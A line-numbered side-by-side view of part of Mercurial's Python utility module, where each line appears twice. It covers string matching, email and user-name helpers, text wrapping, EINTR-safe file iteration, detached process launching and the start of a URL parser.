2257 pattern = pattern[3:]
2261 pattern = pattern[3:]
2258 try:
2262 try:
2259 flags = 0
2263 flags = 0
2260 if not casesensitive:
2264 if not casesensitive:
2261 flags = remod.I
2265 flags = remod.I
2262 regex = remod.compile(pattern, flags)
2266 regex = remod.compile(pattern, flags)
2263 except remod.error as e:
2267 except remod.error as e:
2264 raise error.ParseError(_('invalid regular expression: %s')
2268 raise error.ParseError(_('invalid regular expression: %s')
2265 % e)
2269 % e)
2266 return 're', pattern, regex.search
2270 return 're', pattern, regex.search
2267 elif pattern.startswith('literal:'):
2271 elif pattern.startswith('literal:'):
2268 pattern = pattern[8:]
2272 pattern = pattern[8:]
2269
2273
2270 match = pattern.__eq__
2274 match = pattern.__eq__
2271
2275
2272 if not casesensitive:
2276 if not casesensitive:
2273 ipat = encoding.lower(pattern)
2277 ipat = encoding.lower(pattern)
2274 match = lambda s: ipat == encoding.lower(s)
2278 match = lambda s: ipat == encoding.lower(s)
2275 return 'literal', pattern, match
2279 return 'literal', pattern, match
2276
2280
2277 def shortuser(user):
2281 def shortuser(user):
2278 """Return a short representation of a user name or email address."""
2282 """Return a short representation of a user name or email address."""
2279 f = user.find('@')
2283 f = user.find('@')
2280 if f >= 0:
2284 if f >= 0:
2281 user = user[:f]
2285 user = user[:f]
2282 f = user.find('<')
2286 f = user.find('<')
2283 if f >= 0:
2287 if f >= 0:
2284 user = user[f + 1:]
2288 user = user[f + 1:]
2285 f = user.find(' ')
2289 f = user.find(' ')
2286 if f >= 0:
2290 if f >= 0:
2287 user = user[:f]
2291 user = user[:f]
2288 f = user.find('.')
2292 f = user.find('.')
2289 if f >= 0:
2293 if f >= 0:
2290 user = user[:f]
2294 user = user[:f]
2291 return user
2295 return user
2292
2296
2293 def emailuser(user):
2297 def emailuser(user):
2294 """Return the user portion of an email address."""
2298 """Return the user portion of an email address."""
2295 f = user.find('@')
2299 f = user.find('@')
2296 if f >= 0:
2300 if f >= 0:
2297 user = user[:f]
2301 user = user[:f]
2298 f = user.find('<')
2302 f = user.find('<')
2299 if f >= 0:
2303 if f >= 0:
2300 user = user[f + 1:]
2304 user = user[f + 1:]
2301 return user
2305 return user
2302
2306
2303 def email(author):
2307 def email(author):
2304 '''get email of author.'''
2308 '''get email of author.'''
2305 r = author.find('>')
2309 r = author.find('>')
2306 if r == -1:
2310 if r == -1:
2307 r = None
2311 r = None
2308 return author[author.find('<') + 1:r]
2312 return author[author.find('<') + 1:r]
2309
2313
2310 def ellipsis(text, maxlength=400):
2314 def ellipsis(text, maxlength=400):
2311 """Trim string to at most maxlength (default: 400) columns in display."""
2315 """Trim string to at most maxlength (default: 400) columns in display."""
2312 return encoding.trim(text, maxlength, ellipsis='...')
2316 return encoding.trim(text, maxlength, ellipsis='...')
2313
2317
2314 def unitcountfn(*unittable):
2318 def unitcountfn(*unittable):
2315 '''return a function that renders a readable count of some quantity'''
2319 '''return a function that renders a readable count of some quantity'''
2316
2320
2317 def go(count):
2321 def go(count):
2318 for multiplier, divisor, format in unittable:
2322 for multiplier, divisor, format in unittable:
2319 if abs(count) >= divisor * multiplier:
2323 if abs(count) >= divisor * multiplier:
2320 return format % (count / float(divisor))
2324 return format % (count / float(divisor))
2321 return unittable[-1][2] % count
2325 return unittable[-1][2] % count
2322
2326
2323 return go
2327 return go
2324
2328
2325 def processlinerange(fromline, toline):
2329 def processlinerange(fromline, toline):
2326 """Check that linerange <fromline>:<toline> makes sense and return a
2330 """Check that linerange <fromline>:<toline> makes sense and return a
2327 0-based range.
2331 0-based range.
2328
2332
2329 >>> processlinerange(10, 20)
2333 >>> processlinerange(10, 20)
2330 (9, 20)
2334 (9, 20)
2331 >>> processlinerange(2, 1)
2335 >>> processlinerange(2, 1)
2332 Traceback (most recent call last):
2336 Traceback (most recent call last):
2333 ...
2337 ...
2334 ParseError: line range must be positive
2338 ParseError: line range must be positive
2335 >>> processlinerange(0, 5)
2339 >>> processlinerange(0, 5)
2336 Traceback (most recent call last):
2340 Traceback (most recent call last):
2337 ...
2341 ...
2338 ParseError: fromline must be strictly positive
2342 ParseError: fromline must be strictly positive
2339 """
2343 """
2340 if toline - fromline < 0:
2344 if toline - fromline < 0:
2341 raise error.ParseError(_("line range must be positive"))
2345 raise error.ParseError(_("line range must be positive"))
2342 if fromline < 1:
2346 if fromline < 1:
2343 raise error.ParseError(_("fromline must be strictly positive"))
2347 raise error.ParseError(_("fromline must be strictly positive"))
2344 return fromline - 1, toline
2348 return fromline - 1, toline
2345
2349
2346 bytecount = unitcountfn(
2350 bytecount = unitcountfn(
2347 (100, 1 << 30, _('%.0f GB')),
2351 (100, 1 << 30, _('%.0f GB')),
2348 (10, 1 << 30, _('%.1f GB')),
2352 (10, 1 << 30, _('%.1f GB')),
2349 (1, 1 << 30, _('%.2f GB')),
2353 (1, 1 << 30, _('%.2f GB')),
2350 (100, 1 << 20, _('%.0f MB')),
2354 (100, 1 << 20, _('%.0f MB')),
2351 (10, 1 << 20, _('%.1f MB')),
2355 (10, 1 << 20, _('%.1f MB')),
2352 (1, 1 << 20, _('%.2f MB')),
2356 (1, 1 << 20, _('%.2f MB')),
2353 (100, 1 << 10, _('%.0f KB')),
2357 (100, 1 << 10, _('%.0f KB')),
2354 (10, 1 << 10, _('%.1f KB')),
2358 (10, 1 << 10, _('%.1f KB')),
2355 (1, 1 << 10, _('%.2f KB')),
2359 (1, 1 << 10, _('%.2f KB')),
2356 (1, 1, _('%.0f bytes')),
2360 (1, 1, _('%.0f bytes')),
2357 )
2361 )
2358
2362
2359 # Matches a single EOL which can either be a CRLF where repeated CR
2363 # Matches a single EOL which can either be a CRLF where repeated CR
2360 # are removed or a LF. We do not care about old Macintosh files, so a
2364 # are removed or a LF. We do not care about old Macintosh files, so a
2361 # stray CR is an error.
2365 # stray CR is an error.
2362 _eolre = remod.compile(br'\r*\n')
2366 _eolre = remod.compile(br'\r*\n')
2363
2367
2364 def tolf(s):
2368 def tolf(s):
2365 return _eolre.sub('\n', s)
2369 return _eolre.sub('\n', s)
2366
2370
2367 def tocrlf(s):
2371 def tocrlf(s):
2368 return _eolre.sub('\r\n', s)
2372 return _eolre.sub('\r\n', s)
2369
2373
2370 if pycompat.oslinesep == '\r\n':
2374 if pycompat.oslinesep == '\r\n':
2371 tonativeeol = tocrlf
2375 tonativeeol = tocrlf
2372 fromnativeeol = tolf
2376 fromnativeeol = tolf
2373 else:
2377 else:
2374 tonativeeol = pycompat.identity
2378 tonativeeol = pycompat.identity
2375 fromnativeeol = pycompat.identity
2379 fromnativeeol = pycompat.identity
2376
2380
2377 def escapestr(s):
2381 def escapestr(s):
2378 # call underlying function of s.encode('string_escape') directly for
2382 # call underlying function of s.encode('string_escape') directly for
2379 # Python 3 compatibility
2383 # Python 3 compatibility
2380 return codecs.escape_encode(s)[0]
2384 return codecs.escape_encode(s)[0]
2381
2385
2382 def unescapestr(s):
2386 def unescapestr(s):
2383 return codecs.escape_decode(s)[0]
2387 return codecs.escape_decode(s)[0]
2384
2388
2385 def forcebytestr(obj):
2389 def forcebytestr(obj):
2386 """Portably format an arbitrary object (e.g. exception) into a byte
2390 """Portably format an arbitrary object (e.g. exception) into a byte
2387 string."""
2391 string."""
2388 try:
2392 try:
2389 return pycompat.bytestr(obj)
2393 return pycompat.bytestr(obj)
2390 except UnicodeEncodeError:
2394 except UnicodeEncodeError:
2391 # non-ascii string, may be lossy
2395 # non-ascii string, may be lossy
2392 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2396 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2393
2397
2394 def uirepr(s):
2398 def uirepr(s):
2395 # Avoid double backslash in Windows path repr()
2399 # Avoid double backslash in Windows path repr()
2396 return repr(s).replace('\\\\', '\\')
2400 return repr(s).replace('\\\\', '\\')
2397
2401
2398 # delay import of textwrap
2402 # delay import of textwrap
2399 def MBTextWrapper(**kwargs):
2403 def MBTextWrapper(**kwargs):
2400 class tw(textwrap.TextWrapper):
2404 class tw(textwrap.TextWrapper):
2401 """
2405 """
2402 Extend TextWrapper for width-awareness.
2406 Extend TextWrapper for width-awareness.
2403
2407
2404 Neither number of 'bytes' in any encoding nor 'characters' is
2408 Neither number of 'bytes' in any encoding nor 'characters' is
2405 appropriate to calculate terminal columns for specified string.
2409 appropriate to calculate terminal columns for specified string.
2406
2410
2407 Original TextWrapper implementation uses built-in 'len()' directly,
2411 Original TextWrapper implementation uses built-in 'len()' directly,
2408 so overriding is needed to use width information of each characters.
2412 so overriding is needed to use width information of each characters.
2409
2413
2410 In addition, characters classified into 'ambiguous' width are
2414 In addition, characters classified into 'ambiguous' width are
2411 treated as wide in East Asian area, but as narrow in other.
2415 treated as wide in East Asian area, but as narrow in other.
2412
2416
2413 This requires use decision to determine width of such characters.
2417 This requires use decision to determine width of such characters.
2414 """
2418 """
2415 def _cutdown(self, ucstr, space_left):
2419 def _cutdown(self, ucstr, space_left):
2416 l = 0
2420 l = 0
2417 colwidth = encoding.ucolwidth
2421 colwidth = encoding.ucolwidth
2418 for i in xrange(len(ucstr)):
2422 for i in xrange(len(ucstr)):
2419 l += colwidth(ucstr[i])
2423 l += colwidth(ucstr[i])
2420 if space_left < l:
2424 if space_left < l:
2421 return (ucstr[:i], ucstr[i:])
2425 return (ucstr[:i], ucstr[i:])
2422 return ucstr, ''
2426 return ucstr, ''
2423
2427
2424 # overriding of base class
2428 # overriding of base class
2425 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2429 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2426 space_left = max(width - cur_len, 1)
2430 space_left = max(width - cur_len, 1)
2427
2431
2428 if self.break_long_words:
2432 if self.break_long_words:
2429 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2433 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2430 cur_line.append(cut)
2434 cur_line.append(cut)
2431 reversed_chunks[-1] = res
2435 reversed_chunks[-1] = res
2432 elif not cur_line:
2436 elif not cur_line:
2433 cur_line.append(reversed_chunks.pop())
2437 cur_line.append(reversed_chunks.pop())
2434
2438
2435 # this overriding code is imported from TextWrapper of Python 2.6
2439 # this overriding code is imported from TextWrapper of Python 2.6
2436 # to calculate columns of string by 'encoding.ucolwidth()'
2440 # to calculate columns of string by 'encoding.ucolwidth()'
2437 def _wrap_chunks(self, chunks):
2441 def _wrap_chunks(self, chunks):
2438 colwidth = encoding.ucolwidth
2442 colwidth = encoding.ucolwidth
2439
2443
2440 lines = []
2444 lines = []
2441 if self.width <= 0:
2445 if self.width <= 0:
2442 raise ValueError("invalid width %r (must be > 0)" % self.width)
2446 raise ValueError("invalid width %r (must be > 0)" % self.width)
2443
2447
2444 # Arrange in reverse order so items can be efficiently popped
2448 # Arrange in reverse order so items can be efficiently popped
2445 # from a stack of chucks.
2449 # from a stack of chucks.
2446 chunks.reverse()
2450 chunks.reverse()
2447
2451
2448 while chunks:
2452 while chunks:
2449
2453
2450 # Start the list of chunks that will make up the current line.
2454 # Start the list of chunks that will make up the current line.
2451 # cur_len is just the length of all the chunks in cur_line.
2455 # cur_len is just the length of all the chunks in cur_line.
2452 cur_line = []
2456 cur_line = []
2453 cur_len = 0
2457 cur_len = 0
2454
2458
2455 # Figure out which static string will prefix this line.
2459 # Figure out which static string will prefix this line.
2456 if lines:
2460 if lines:
2457 indent = self.subsequent_indent
2461 indent = self.subsequent_indent
2458 else:
2462 else:
2459 indent = self.initial_indent
2463 indent = self.initial_indent
2460
2464
2461 # Maximum width for this line.
2465 # Maximum width for this line.
2462 width = self.width - len(indent)
2466 width = self.width - len(indent)
2463
2467
2464 # First chunk on line is whitespace -- drop it, unless this
2468 # First chunk on line is whitespace -- drop it, unless this
2465 # is the very beginning of the text (i.e. no lines started yet).
2469 # is the very beginning of the text (i.e. no lines started yet).
2466 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2470 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2467 del chunks[-1]
2471 del chunks[-1]
2468
2472
2469 while chunks:
2473 while chunks:
2470 l = colwidth(chunks[-1])
2474 l = colwidth(chunks[-1])
2471
2475
2472 # Can at least squeeze this chunk onto the current line.
2476 # Can at least squeeze this chunk onto the current line.
2473 if cur_len + l <= width:
2477 if cur_len + l <= width:
2474 cur_line.append(chunks.pop())
2478 cur_line.append(chunks.pop())
2475 cur_len += l
2479 cur_len += l
2476
2480
2477 # Nope, this line is full.
2481 # Nope, this line is full.
2478 else:
2482 else:
2479 break
2483 break
2480
2484
2481 # The current line is full, and the next chunk is too big to
2485 # The current line is full, and the next chunk is too big to
2482 # fit on *any* line (not just this one).
2486 # fit on *any* line (not just this one).
2483 if chunks and colwidth(chunks[-1]) > width:
2487 if chunks and colwidth(chunks[-1]) > width:
2484 self._handle_long_word(chunks, cur_line, cur_len, width)
2488 self._handle_long_word(chunks, cur_line, cur_len, width)
2485
2489
2486 # If the last chunk on this line is all whitespace, drop it.
2490 # If the last chunk on this line is all whitespace, drop it.
2487 if (self.drop_whitespace and
2491 if (self.drop_whitespace and
2488 cur_line and cur_line[-1].strip() == r''):
2492 cur_line and cur_line[-1].strip() == r''):
2489 del cur_line[-1]
2493 del cur_line[-1]
2490
2494
2491 # Convert current line back to a string and store it in list
2495 # Convert current line back to a string and store it in list
2492 # of all lines (return value).
2496 # of all lines (return value).
2493 if cur_line:
2497 if cur_line:
2494 lines.append(indent + r''.join(cur_line))
2498 lines.append(indent + r''.join(cur_line))
2495
2499
2496 return lines
2500 return lines
2497
2501
2498 global MBTextWrapper
2502 global MBTextWrapper
2499 MBTextWrapper = tw
2503 MBTextWrapper = tw
2500 return tw(**kwargs)
2504 return tw(**kwargs)
2501
2505
2502 def wrap(line, width, initindent='', hangindent=''):
2506 def wrap(line, width, initindent='', hangindent=''):
2503 maxindent = max(len(hangindent), len(initindent))
2507 maxindent = max(len(hangindent), len(initindent))
2504 if width <= maxindent:
2508 if width <= maxindent:
2505 # adjust for weird terminal size
2509 # adjust for weird terminal size
2506 width = max(78, maxindent + 1)
2510 width = max(78, maxindent + 1)
2507 line = line.decode(pycompat.sysstr(encoding.encoding),
2511 line = line.decode(pycompat.sysstr(encoding.encoding),
2508 pycompat.sysstr(encoding.encodingmode))
2512 pycompat.sysstr(encoding.encodingmode))
2509 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2513 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2510 pycompat.sysstr(encoding.encodingmode))
2514 pycompat.sysstr(encoding.encodingmode))
2511 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2515 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2512 pycompat.sysstr(encoding.encodingmode))
2516 pycompat.sysstr(encoding.encodingmode))
2513 wrapper = MBTextWrapper(width=width,
2517 wrapper = MBTextWrapper(width=width,
2514 initial_indent=initindent,
2518 initial_indent=initindent,
2515 subsequent_indent=hangindent)
2519 subsequent_indent=hangindent)
2516 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2520 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2517
2521
2518 if (pyplatform.python_implementation() == 'CPython' and
2522 if (pyplatform.python_implementation() == 'CPython' and
2519 sys.version_info < (3, 0)):
2523 sys.version_info < (3, 0)):
2520 # There is an issue in CPython that some IO methods do not handle EINTR
2524 # There is an issue in CPython that some IO methods do not handle EINTR
2521 # correctly. The following table shows what CPython version (and functions)
2525 # correctly. The following table shows what CPython version (and functions)
2522 # are affected (buggy: has the EINTR bug, okay: otherwise):
2526 # are affected (buggy: has the EINTR bug, okay: otherwise):
2523 #
2527 #
2524 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2528 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2525 # --------------------------------------------------
2529 # --------------------------------------------------
2526 # fp.__iter__ | buggy | buggy | okay
2530 # fp.__iter__ | buggy | buggy | okay
2527 # fp.read* | buggy | okay [1] | okay
2531 # fp.read* | buggy | okay [1] | okay
2528 #
2532 #
2529 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2533 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2530 #
2534 #
2531 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2535 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2532 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2536 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2533 #
2537 #
2534 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2538 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2535 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2539 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2536 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2540 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2537 # fp.__iter__ but not other fp.read* methods.
2541 # fp.__iter__ but not other fp.read* methods.
2538 #
2542 #
2539 # On modern systems like Linux, the "read" syscall cannot be interrupted
2543 # On modern systems like Linux, the "read" syscall cannot be interrupted
2540 # when reading "fast" files like on-disk files. So the EINTR issue only
2544 # when reading "fast" files like on-disk files. So the EINTR issue only
2541 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2545 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2542 # files approximately as "fast" files and use the fast (unsafe) code path,
2546 # files approximately as "fast" files and use the fast (unsafe) code path,
2543 # to minimize the performance impact.
2547 # to minimize the performance impact.
2544 if sys.version_info >= (2, 7, 4):
2548 if sys.version_info >= (2, 7, 4):
2545 # fp.readline deals with EINTR correctly, use it as a workaround.
2549 # fp.readline deals with EINTR correctly, use it as a workaround.
2546 def _safeiterfile(fp):
2550 def _safeiterfile(fp):
2547 return iter(fp.readline, '')
2551 return iter(fp.readline, '')
2548 else:
2552 else:
2549 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2553 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2550 # note: this may block longer than necessary because of bufsize.
2554 # note: this may block longer than necessary because of bufsize.
2551 def _safeiterfile(fp, bufsize=4096):
2555 def _safeiterfile(fp, bufsize=4096):
2552 fd = fp.fileno()
2556 fd = fp.fileno()
2553 line = ''
2557 line = ''
2554 while True:
2558 while True:
2555 try:
2559 try:
2556 buf = os.read(fd, bufsize)
2560 buf = os.read(fd, bufsize)
2557 except OSError as ex:
2561 except OSError as ex:
2558 # os.read only raises EINTR before any data is read
2562 # os.read only raises EINTR before any data is read
2559 if ex.errno == errno.EINTR:
2563 if ex.errno == errno.EINTR:
2560 continue
2564 continue
2561 else:
2565 else:
2562 raise
2566 raise
2563 line += buf
2567 line += buf
2564 if '\n' in buf:
2568 if '\n' in buf:
2565 splitted = line.splitlines(True)
2569 splitted = line.splitlines(True)
2566 line = ''
2570 line = ''
2567 for l in splitted:
2571 for l in splitted:
2568 if l[-1] == '\n':
2572 if l[-1] == '\n':
2569 yield l
2573 yield l
2570 else:
2574 else:
2571 line = l
2575 line = l
2572 if not buf:
2576 if not buf:
2573 break
2577 break
2574 if line:
2578 if line:
2575 yield line
2579 yield line
2576
2580
2577 def iterfile(fp):
2581 def iterfile(fp):
2578 fastpath = True
2582 fastpath = True
2579 if type(fp) is file:
2583 if type(fp) is file:
2580 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2584 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2581 if fastpath:
2585 if fastpath:
2582 return fp
2586 return fp
2583 else:
2587 else:
2584 return _safeiterfile(fp)
2588 return _safeiterfile(fp)
2585 else:
2589 else:
2586 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2590 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2587 def iterfile(fp):
2591 def iterfile(fp):
2588 return fp
2592 return fp
2589
2593
2590 def iterlines(iterator):
2594 def iterlines(iterator):
2591 for chunk in iterator:
2595 for chunk in iterator:
2592 for line in chunk.splitlines():
2596 for line in chunk.splitlines():
2593 yield line
2597 yield line
2594
2598
2595 def expandpath(path):
2599 def expandpath(path):
2596 return os.path.expanduser(os.path.expandvars(path))
2600 return os.path.expanduser(os.path.expandvars(path))
2597
2601
2598 def hgcmd():
2602 def hgcmd():
2599 """Return the command used to execute current hg
2603 """Return the command used to execute current hg
2600
2604
2601 This is different from hgexecutable() because on Windows we want
2605 This is different from hgexecutable() because on Windows we want
2602 to avoid things opening new shell windows like batch files, so we
2606 to avoid things opening new shell windows like batch files, so we
2603 get either the python call or current executable.
2607 get either the python call or current executable.
2604 """
2608 """
2605 if mainfrozen():
2609 if mainfrozen():
2606 if getattr(sys, 'frozen', None) == 'macosx_app':
2610 if getattr(sys, 'frozen', None) == 'macosx_app':
2607 # Env variable set by py2app
2611 # Env variable set by py2app
2608 return [encoding.environ['EXECUTABLEPATH']]
2612 return [encoding.environ['EXECUTABLEPATH']]
2609 else:
2613 else:
2610 return [pycompat.sysexecutable]
2614 return [pycompat.sysexecutable]
2611 return gethgcmd()
2615 return gethgcmd()
2612
2616
2613 def rundetached(args, condfn):
2617 def rundetached(args, condfn):
2614 """Execute the argument list in a detached process.
2618 """Execute the argument list in a detached process.
2615
2619
2616 condfn is a callable which is called repeatedly and should return
2620 condfn is a callable which is called repeatedly and should return
2617 True once the child process is known to have started successfully.
2621 True once the child process is known to have started successfully.
2618 At this point, the child process PID is returned. If the child
2622 At this point, the child process PID is returned. If the child
2619 process fails to start or finishes before condfn() evaluates to
2623 process fails to start or finishes before condfn() evaluates to
2620 True, return -1.
2624 True, return -1.
2621 """
2625 """
2622 # Windows case is easier because the child process is either
2626 # Windows case is easier because the child process is either
2623 # successfully starting and validating the condition or exiting
2627 # successfully starting and validating the condition or exiting
2624 # on failure. We just poll on its PID. On Unix, if the child
2628 # on failure. We just poll on its PID. On Unix, if the child
2625 # process fails to start, it will be left in a zombie state until
2629 # process fails to start, it will be left in a zombie state until
2626 # the parent wait on it, which we cannot do since we expect a long
2630 # the parent wait on it, which we cannot do since we expect a long
2627 # running process on success. Instead we listen for SIGCHLD telling
2631 # running process on success. Instead we listen for SIGCHLD telling
2628 # us our child process terminated.
2632 # us our child process terminated.
2629 terminated = set()
2633 terminated = set()
2630 def handler(signum, frame):
2634 def handler(signum, frame):
2631 terminated.add(os.wait())
2635 terminated.add(os.wait())
2632 prevhandler = None
2636 prevhandler = None
2633 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2637 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2634 if SIGCHLD is not None:
2638 if SIGCHLD is not None:
2635 prevhandler = signal.signal(SIGCHLD, handler)
2639 prevhandler = signal.signal(SIGCHLD, handler)
2636 try:
2640 try:
2637 pid = spawndetached(args)
2641 pid = spawndetached(args)
2638 while not condfn():
2642 while not condfn():
2639 if ((pid in terminated or not testpid(pid))
2643 if ((pid in terminated or not testpid(pid))
2640 and not condfn()):
2644 and not condfn()):
2641 return -1
2645 return -1
2642 time.sleep(0.1)
2646 time.sleep(0.1)
2643 return pid
2647 return pid
2644 finally:
2648 finally:
2645 if prevhandler is not None:
2649 if prevhandler is not None:
2646 signal.signal(signal.SIGCHLD, prevhandler)
2650 signal.signal(signal.SIGCHLD, prevhandler)
2647
2651
2648 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2652 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2649 """Return the result of interpolating items in the mapping into string s.
2653 """Return the result of interpolating items in the mapping into string s.
2650
2654
2651 prefix is a single character string, or a two character string with
2655 prefix is a single character string, or a two character string with
2652 a backslash as the first character if the prefix needs to be escaped in
2656 a backslash as the first character if the prefix needs to be escaped in
2653 a regular expression.
2657 a regular expression.
2654
2658
2655 fn is an optional function that will be applied to the replacement text
2659 fn is an optional function that will be applied to the replacement text
2656 just before replacement.
2660 just before replacement.
2657
2661
2658 escape_prefix is an optional flag that allows using doubled prefix for
2662 escape_prefix is an optional flag that allows using doubled prefix for
2659 its escaping.
2663 its escaping.
2660 """
2664 """
2661 fn = fn or (lambda s: s)
2665 fn = fn or (lambda s: s)
2662 patterns = '|'.join(mapping.keys())
2666 patterns = '|'.join(mapping.keys())
2663 if escape_prefix:
2667 if escape_prefix:
2664 patterns += '|' + prefix
2668 patterns += '|' + prefix
2665 if len(prefix) > 1:
2669 if len(prefix) > 1:
2666 prefix_char = prefix[1:]
2670 prefix_char = prefix[1:]
2667 else:
2671 else:
2668 prefix_char = prefix
2672 prefix_char = prefix
2669 mapping[prefix_char] = prefix_char
2673 mapping[prefix_char] = prefix_char
2670 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2674 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2671 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2675 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2672
2676
2673 def getport(port):
2677 def getport(port):
2674 """Return the port for a given network service.
2678 """Return the port for a given network service.
2675
2679
2676 If port is an integer, it's returned as is. If it's a string, it's
2680 If port is an integer, it's returned as is. If it's a string, it's
2677 looked up using socket.getservbyname(). If there's no matching
2681 looked up using socket.getservbyname(). If there's no matching
2678 service, error.Abort is raised.
2682 service, error.Abort is raised.
2679 """
2683 """
2680 try:
2684 try:
2681 return int(port)
2685 return int(port)
2682 except ValueError:
2686 except ValueError:
2683 pass
2687 pass
2684
2688
2685 try:
2689 try:
2686 return socket.getservbyname(port)
2690 return socket.getservbyname(port)
2687 except socket.error:
2691 except socket.error:
2688 raise Abort(_("no port number associated with service '%s'") % port)
2692 raise Abort(_("no port number associated with service '%s'") % port)
2689
2693
2690 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2694 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2691 '0': False, 'no': False, 'false': False, 'off': False,
2695 '0': False, 'no': False, 'false': False, 'off': False,
2692 'never': False}
2696 'never': False}
2693
2697
2694 def parsebool(s):
2698 def parsebool(s):
2695 """Parse s into a boolean.
2699 """Parse s into a boolean.
2696
2700
2697 If s is not a valid boolean, returns None.
2701 If s is not a valid boolean, returns None.
2698 """
2702 """
2699 return _booleans.get(s.lower(), None)
2703 return _booleans.get(s.lower(), None)
2700
2704
2701 _hextochr = dict((a + b, chr(int(a + b, 16)))
2705 _hextochr = dict((a + b, chr(int(a + b, 16)))
2702 for a in string.hexdigits for b in string.hexdigits)
2706 for a in string.hexdigits for b in string.hexdigits)
2703
2707
2704 class url(object):
2708 class url(object):
2705 r"""Reliable URL parser.
2709 r"""Reliable URL parser.
2706
2710
2707 This parses URLs and provides attributes for the following
2711 This parses URLs and provides attributes for the following
2708 components:
2712 components:
2709
2713
2710 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2714 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2711
2715
2712 Missing components are set to None. The only exception is
2716 Missing components are set to None. The only exception is
2713 fragment, which is set to '' if present but empty.
2717 fragment, which is set to '' if present but empty.
2714
2718
2715 If parsefragment is False, fragment is included in query. If
2719 If parsefragment is False, fragment is included in query. If
2716 parsequery is False, query is included in path. If both are
2720 parsequery is False, query is included in path. If both are
2717 False, both fragment and query are included in path.
2721 False, both fragment and query are included in path.
2718
2722
2719 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2723 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2720
2724
2721 Note that for backward compatibility reasons, bundle URLs do not
2725 Note that for backward compatibility reasons, bundle URLs do not
2722 take host names. That means 'bundle://../' has a path of '../'.
2726 take host names. That means 'bundle://../' has a path of '../'.
2723
2727
2724 Examples:
2728 Examples:
2725
2729
2726 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2730 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2727 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2731 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2728 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2732 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2729 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2733 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2730 >>> url(b'file:///home/joe/repo')
2734 >>> url(b'file:///home/joe/repo')
2731 <url scheme: 'file', path: '/home/joe/repo'>
2735 <url scheme: 'file', path: '/home/joe/repo'>
2732 >>> url(b'file:///c:/temp/foo/')
2736 >>> url(b'file:///c:/temp/foo/')
2733 <url scheme: 'file', path: 'c:/temp/foo/'>
2737 <url scheme: 'file', path: 'c:/temp/foo/'>
2734 >>> url(b'bundle:foo')
2738 >>> url(b'bundle:foo')
2735 <url scheme: 'bundle', path: 'foo'>
2739 <url scheme: 'bundle', path: 'foo'>
2736 >>> url(b'bundle://../foo')
2740 >>> url(b'bundle://../foo')
2737 <url scheme: 'bundle', path: '../foo'>
2741 <url scheme: 'bundle', path: '../foo'>
2738 >>> url(br'c:\foo\bar')
2742 >>> url(br'c:\foo\bar')
2739 <url path: 'c:\\foo\\bar'>
2743 <url path: 'c:\\foo\\bar'>
2740 >>> url(br'\\blah\blah\blah')
2744 >>> url(br'\\blah\blah\blah')
2741 <url path: '\\\\blah\\blah\\blah'>
2745 <url path: '\\\\blah\\blah\\blah'>
2742 >>> url(br'\\blah\blah\blah#baz')
2746 >>> url(br'\\blah\blah\blah#baz')
2743 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2747 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2744 >>> url(br'file:///C:\users\me')
2748 >>> url(br'file:///C:\users\me')
